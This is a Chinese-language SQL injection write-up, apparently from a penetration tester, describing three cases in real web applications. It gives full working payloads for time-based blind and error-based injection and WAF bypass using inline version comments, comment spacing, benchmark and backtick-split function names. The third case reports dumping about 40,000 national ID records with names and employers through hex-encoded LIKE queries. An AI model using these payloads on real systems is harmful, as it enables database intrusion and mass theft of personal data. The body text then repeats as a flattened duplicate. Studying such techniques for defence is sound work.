这个SQL注入有点东西
字数 1428 2025-08-30 06:50:27

SQL注入高级技巧与绕过方法详解

前言

SQL注入是渗透测试中常见的漏洞类型,本文总结了三种高级SQL注入案例,涉及多种绕过技术和注入方法,包括报错注入、时间盲注、子查询利用、函数绕过等技术。

第一处SQL注入:日期参数注入

漏洞发现

  • 注入点:日期参数
  • 初始测试:添加单引号导致报错
  • 报错信息分析:
    date_format('2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S')  // 正常
    date_format('2025-06-19 00:00:00'','%Y-%m-%d %H:%M:%S') // 异常
    

注入尝试

  1. 初始闭合尝试:')# 失败
  2. 完整参数闭合尝试:','%Y-%m-%d %H:%M:%S') and extractvalue(1,concat(0x0a,(select user()),0x0a))# 失败

问题分析

  • 网站返回的是框架自定义报错,而非数据库原始报错
  • 需要转向时间盲注

时间盲注构造

  1. 直接时间盲注失败原因:前面条件可能为假导致不执行后续语句
  2. 解决方案:使用子查询强制优先执行
    and (select 0 from (select if(ascii(substr(user(),1,1))>1,sleep(6),1))x))TOTAL#
    
    • 子查询优先执行内部if语句
    • 即使外部条件为假也能触发延时

最终Payload

2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') and (select 0 from (select if(ascii(substr(user(),1,1))>1,sleep(6),1))x))TOTAL#

第二处SQL注入:严格过滤环境下的注入

初始发现

  • 注入点:orderType参数
  • 测试:单引号报错,双引号正常
  • 过滤情况:几乎所有常见函数和绕过方法都被过滤

绕过技术

  1. 权限绕过:直接修改返回包false→true
  2. 使用非常规函数:Y(point(56.7,53.34))作为恒真条件
  3. 空格绕过:使用/**/代替空格
  4. 内联注释绕过:/*!55555*/作为版本号注释
  5. 函数嵌套:right(left(user(),1),1)增加复杂度
  6. Benchmark延时:benchmark(511111111,1)

最终Payload

orderType=1%20or%20Y(point(56.7,53.34))%20or%20(select/**/0/**/from/**/(select/**/if((ascii(right(left(user/*!55555*/(),1),1))!=1),(select/*!55555555555555555*/benchmark(511111111,1)),1))x)

技术要点

  • 使用子查询确保注入语句优先执行
  • 内联注释绕过WAF对特定函数(如user(), benchmark())的检测
  • 函数嵌套增加复杂度避免简单匹配

第三处SQL注入:身份证查询接口注入

漏洞发现

  • 注入点:tj参数(身份证查询条件)
  • 原始逻辑:sfzh='123123' and xm='12331'
  • 闭合方式:tj=sfzh=1#sfzh=1 and (注入语句) #

绕过技术

  1. 逻辑运算符绕过:使用||代替被过滤的and/or
    • || 1=1# → 502错误
    • || 1=2# → 正常返回
  2. 报错注入函数绕过:
    • 使用反引号分隔函数名:extractvalue`(1, `concat`(0x0a,version()))
  3. user()函数绕过:使用current_user替代
  4. 模糊查询绕过单引号过滤:
    • 原始:sfzh like '1%'
    • 绕过:使用16进制编码0x3225表示'2%'

敏感信息查询技术

sfzh like 0x3225  -- 查询身份证号以2开头的记录
  • 成功获取身份证、姓名、单位、学校等敏感信息
  • 通过变更前缀数字获取约4w+条身份证数据

关键知识点总结

  1. 子查询利用

    • 确保注入语句优先执行
    • 绕过条件判断依赖问题
    select 0 from (select if(条件,sleep(6),1))x
    
  2. 严格过滤环境绕过

    • 内联注释:/*!55555*/
    • 函数嵌套:right(left(user(),1),1)
    • 非常规函数:Y(point())
    • 空格替代:/**/
  3. 报错注入绕过

    • 反引号分隔函数名
    • 替代函数使用(current_user代替user())
  4. 模糊查询绕过

    • 16进制编码代替字符串
    • 避免单引号过滤
  5. 时间盲注要点

    • 确保注入语句能被执行
    • 使用benchmark或sleep
    • 考虑执行优先级问题

这些高级SQL注入技术展示了在复杂过滤环境下的多种绕过思路,对渗透测试人员具有重要参考价值。

SQL注入高级技巧与绕过方法详解 前言 SQL注入是渗透测试中常见的漏洞类型,本文总结了三种高级SQL注入案例,涉及多种绕过技术和注入方法,包括报错注入、时间盲注、子查询利用、函数绕过等技术。 第一处SQL注入:日期参数注入 漏洞发现 注入点:日期参数 初始测试:添加单引号导致报错 报错信息分析: 注入尝试 初始闭合尝试: ')# 失败 完整参数闭合尝试: ','%Y-%m-%d %H:%M:%S') and extractvalue(1,concat(0x0a,(select user()),0x0a))# 失败 问题分析 网站返回的是框架自定义报错,而非数据库原始报错 需要转向时间盲注 时间盲注构造 直接时间盲注失败原因:前面条件可能为假导致不执行后续语句 解决方案:使用子查询强制优先执行 子查询优先执行内部if语句 即使外部条件为假也能触发延时 最终Payload 第二处SQL注入:严格过滤环境下的注入 初始发现 注入点:orderType参数 测试:单引号报错,双引号正常 过滤情况:几乎所有常见函数和绕过方法都被过滤 绕过技术 权限绕过:直接修改返回包false→true 使用非常规函数: Y(point(56.7,53.34)) 作为恒真条件 空格绕过:使用 /**/ 代替空格 内联注释绕过: /*!55555*/ 作为版本号注释 函数嵌套: right(left(user(),1),1) 增加复杂度 Benchmark延时: benchmark(511111111,1) 最终Payload 技术要点 使用子查询确保注入语句优先执行 内联注释绕过WAF对特定函数(如user(), benchmark())的检测 函数嵌套增加复杂度避免简单匹配 第三处SQL注入:身份证查询接口注入 漏洞发现 注入点:tj参数(身份证查询条件) 原始逻辑: sfzh='123123' and xm='12331' 闭合方式: tj=sfzh=1# → sfzh=1 and (注入语句) # 绕过技术 逻辑运算符绕过:使用 || 代替被过滤的 and/or || 1=1# → 502错误 || 1=2# → 正常返回 报错注入函数绕过: 使用反引号分隔函数名: extractvalue`(1, `concat`(0x0a,version())) user()函数绕过:使用 current_user 替代 模糊查询绕过单引号过滤: 原始: sfzh like '1%' 绕过:使用16进制编码 0x3225 表示 '2%' 敏感信息查询技术 成功获取身份证、姓名、单位、学校等敏感信息 通过变更前缀数字获取约4w+条身份证数据 关键知识点总结 子查询利用 : 确保注入语句优先执行 绕过条件判断依赖问题 严格过滤环境绕过 : 内联注释: /*!55555*/ 函数嵌套: right(left(user(),1),1) 非常规函数: Y(point()) 空格替代: /**/ 报错注入绕过 : 反引号分隔函数名 替代函数使用(current_ user代替user()) 模糊查询绕过 : 16进制编码代替字符串 避免单引号过滤 时间盲注要点 : 确保注入语句能被执行 使用benchmark或sleep 考虑执行优先级问题 这些高级SQL注入技术展示了在复杂过滤环境下的多种绕过思路,对渗透测试人员具有重要参考价值。